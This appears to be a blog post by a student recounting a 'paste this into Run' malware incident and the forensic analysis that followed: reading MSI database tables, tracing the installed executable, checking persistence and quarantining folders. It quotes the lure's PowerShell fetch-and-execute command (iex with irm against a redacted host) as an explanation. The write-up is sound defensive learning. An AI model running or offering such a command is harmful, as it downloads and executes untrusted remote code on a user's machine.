How a Malware Investigation Started ReverseTrace

Published July 2026 · Digital Forensics · MSI Analysis · PowerShell

A fake website prompt, one pasted PowerShell command and two days of investigation unexpectedly became the beginning of my journey into digital forensics and reverse engineering.

How it started...

The incident began when a website displayed a suspicious prompt telling me to open the Windows Run box, paste a command and press Enter. At the time, I did not understand what the command would do.

The command used PowerShell to retrieve content from a remote server and execute it immediately:

powershell -c "iex(irm 'http://[redacted]/[redacted]' -UseBasicParsing)"

I have deliberately redacted the live address. The important parts were irm, which retrieved remote content, and iex, which executed that content directly.

Moving from panic to evidence

My first reaction was fear. I worried that somebody might still be controlling the laptop or that personal files, browser data and university work had been stolen.

Instead of immediately wiping Windows, I began checking what had actually happened. The main lesson was that digital forensics depends on evidence, not assumptions.

I stopped asking only, "Have I been hacked?" and started asking, "What evidence does the computer contain?"

Reconstructing the chain

Inspecting the MSI

An MSI file is not simply one executable. It is a structured Windows Installer database containing tables that describe files, components, directories, installation sequences and custom actions.

I used PowerShell and the Windows Installer COM interface to open the MSI database in read-only mode.

$wi = New-Object -ComObject WindowsInstaller.Installer

$db = $wi.GetType().InvokeMember(
    "OpenDatabase",
    "InvokeMethod",
    $null,
    $wi,
    @("C:\ProgramData\DeviceSync.QUARANTINED\DETVGREL-F1.msi", 0)
)

The value 0 opened the MSI database read-only. This allowed me to inspect its internal tables without installing it again.

The Property table

The Property table revealed what the installer claimed to be:

The CustomAction table

The most important discovery came from the MSI's CustomAction table:

Action: LaunchFile
Type: 210
Source: JziBx1g7YA
Target:

This showed that the installer contained a custom action called LaunchFile.

The InstallExecuteSequence table

The corresponding sequence entry showed:

Action: LaunchFile
Condition:
Sequence: 6601

The blank condition meant that the action was not restricted by a special condition. It was scheduled to run after the installation sequence completed.

Tracing the internal file identifier

The internal source identifier JziBx1g7YA was then traced through the MSI's File table:

File ID: JziBx1g7YA
Component: JziBx1g7YA
Filename: bguiueva.exe|Too-Electro.exe
Size: 465264

Windows Installer stores some filenames in a short-name|long-name format. The normal installed filename was therefore Too-Electro.exe.

Finding the installation location

The component was connected to an MSI directory called INSTALLFOLDER. The Directory table revealed:

Directory: INSTALLFOLDER
Parent: LocalAppDataFolder
DefaultDir: Township

That translated to the following installation path:

C:\Users\<username>\AppData\Local\Township\Too-Electro.exe

What the MSI installed

The MSI contained more than one executable. It included supporting Autodesk licensing-style components, Qt libraries and Microsoft runtime files.

Checking whether it remained active

After identifying the installed file and its location, I checked common persistence mechanisms. These are methods software can use to restart automatically after a reboot.

The checks included:

• Running processes
• Scheduled tasks
• Windows services
• Registry Run keys
• Windows Startup folders
• WMI event consumers and bindings
• Installed-program entries

A suspicious scheduled task named Storeauth_amd64 had previously been identified and removed. Later checks did not find any surviving matching task, service, Run-key entry, Startup item or WMI consumer.

Hashes and signatures

I also calculated SHA-256 hashes. A hash acts like a file fingerprint and can be used to identify an exact file without executing it.

Get-FileHash "path\to\file" -Algorithm SHA256

The executable reported Autodesk ADLM version information and had a valid Autodesk digital signature. However, that did not automatically make the overall installation trustworthy. A legitimate signed file can still be renamed, repackaged or used in a suspicious context.

Containment and scanning

The two known incident folders were renamed to prevent their original paths from working while preserving the evidence:

Township
→ Township.QUARANTINED

DeviceSync
→ DeviceSync.QUARANTINED

I then completed security scans using:

• Microsoft Defender
• Microsoft Defender Offline Scan
• Malwarebytes

Malwarebytes reported zero threats, and no active Defender threat connected to this incident was found.

What I confirmed

What I could not confirm

No evidence of data theft was found, but the absence of historical packet captures or complete forensic logging meant that data theft could not be ruled out with absolute certainty.

What I learned

Before this incident, I did not know what Local AppData was, how an MSI database was structured, or how PowerShell could be used for forensic investigation.

Over two days, I learned how to:

• Follow a chain of execution from PowerShell to an MSI installer.
• Read Windows Installer database tables.
• Trace internal component and file identifiers.
• Check common Windows persistence mechanisms.
• Use hashes and digital signatures as evidence.
• Distinguish between confirmed facts and unanswered questions.

The most important lesson was that cybersecurity is not about making the most frightening assumption. It is about collecting evidence, testing each possibility and being honest about what remains unknown.

Why I created ReverseTrace

This investigation transformed fear into curiosity. I began by trying to find out whether my laptop was safe. I ended up learning that I enjoyed following digital evidence, understanding software structure and working backwards from an incident to reconstruct what happened.

That is why I created ReverseTrace.

It is my notebook, my journal and my journey through computer science, computing and cybersecurity.